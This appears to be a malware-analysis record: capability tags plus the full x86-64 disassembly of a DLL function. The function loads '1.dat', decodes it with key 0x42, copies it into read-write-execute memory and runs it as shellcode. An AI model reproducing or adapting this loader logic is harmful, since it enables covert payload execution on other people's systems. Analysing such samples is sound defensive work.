Function at 0x1800016f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Print debug messages
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x1d8
mov eax, dword [rsp + 0x1f8]
mov dword [rsp + 0x78], eax
cmp dword [rsp + 0x78], 1
je 0x18000171e
jmp 0x180001a9a
lea rcx, [rsp + 0x60]
call fcn.180001af0
nop
mov byte [rsp + 0x40], 0x31
mov byte [rsp + 0x41], 0x2e
mov byte [rsp + 0x42], 0x64
mov byte [rsp + 0x43], 0x61
mov byte [rsp + 0x44], 0x74
mov byte [rsp + 0x45], 0
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov dword [rsp + 0x7c], 1
lea rdx, [rsp + 0x7c]
lea rcx, [rsp + 0x60]
call fcn.180001ab0
mov dword [rax], 2
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x80], 2
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x60]
call fcn.180001ab0
mov dword [rax], 2
cmp qword [rsp + 0x70], 0xffffffffffffffff
jne 0x1800018e2
mov dword [rsp + 0x84], 3
lea rdx, [rsp + 0x84]
lea rcx, [rsp + 0x60]
call fcn.180001ab0
mov dword [rax], 2
lea rax, [rsp + 0xc0]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rsp + 0xc0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, 0x5c
lea rcx, [rsp + 0xc0]
call fcn.180004730
mov byte [rax], 0
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x50], rax
dec qword [rsp + 0x50]
inc qword [rsp + 0x50]
mov rax, qword [rsp + 0x50]
cmp byte [rax], 0
jne 0x180001846
mov rax, qword [rsp + 0x50]
lea rcx, [0x18001a794]
mov rdi, rax
mov rsi, rcx
mov ecx, 2
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x58], rax
dec qword [rsp + 0x58]
inc qword [rsp + 0x58]
mov rax, qword [rsp + 0x58]
cmp byte [rax], 0
jne 0x180001880
mov rax, qword [rsp + 0x58]
lea rcx, [rsp + 0x40]
xor edx, edx
movzx edi, byte [rcx + rdx]
mov byte [rax + rdx], dil
inc rdx
test dil, dil
jne 0x18000189b
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 1
lea rcx, [rsp + 0xc0]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x88], 4
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x60]
call fcn.180001ab0
mov dword [rax], 3
xor edx, edx
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x8c], 5
lea rdx, [rsp + 0x8c]
lea rcx, [rsp + 0x60]
call fcn.180001ab0
mov dword [rax], 3
mov eax, dword [rsp + 0x48]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0xa8], rax
mov dword [rsp + 0x90], 6
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x60]
call fcn.180001ab0
mov dword [rax], 3
mov dword [rsp + 0x94], 7
lea rdx, [rsp + 0x94]
lea rcx, [rsp + 0x60]
call fcn.180001ab0
mov dword [rax], 2
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0xb0]
mov r8d, dword [rsp + 0x48]
mov rdx, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [rsp + 0x98], 8
lea rdx, [rsp + 0x98]
lea rcx, [rsp + 0x60]
call fcn.180001ab0
mov dword [rax], 2
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x9c], 9
lea rdx, [rsp + 0x9c]
lea rcx, [rsp + 0x60]
call fcn.180001ab0
mov dword [rax], 2
mov r8d, dword [rsp + 0x48]
mov rdx, qword [rsp + 0xa8]
mov ecx, 0x42
call fcn.1800014a0
mov dword [rsp + 0xa0], 0xa
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x60]
call fcn.180001ab0
mov dword [rax], 2
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0xb8], rax
mov dword [rsp + 0xa4], 0xb
lea rdx, [rsp + 0xa4]
lea rcx, [rsp + 0x60]
call fcn.180001ab0
mov dword [rax], 2
call qword [rsp + 0xb8]
nop
lea rcx, [rsp + 0x60]
call fcn.1800016d0
mov eax, 1
add rsp, 0x1d8
pop rdi
pop rsi
ret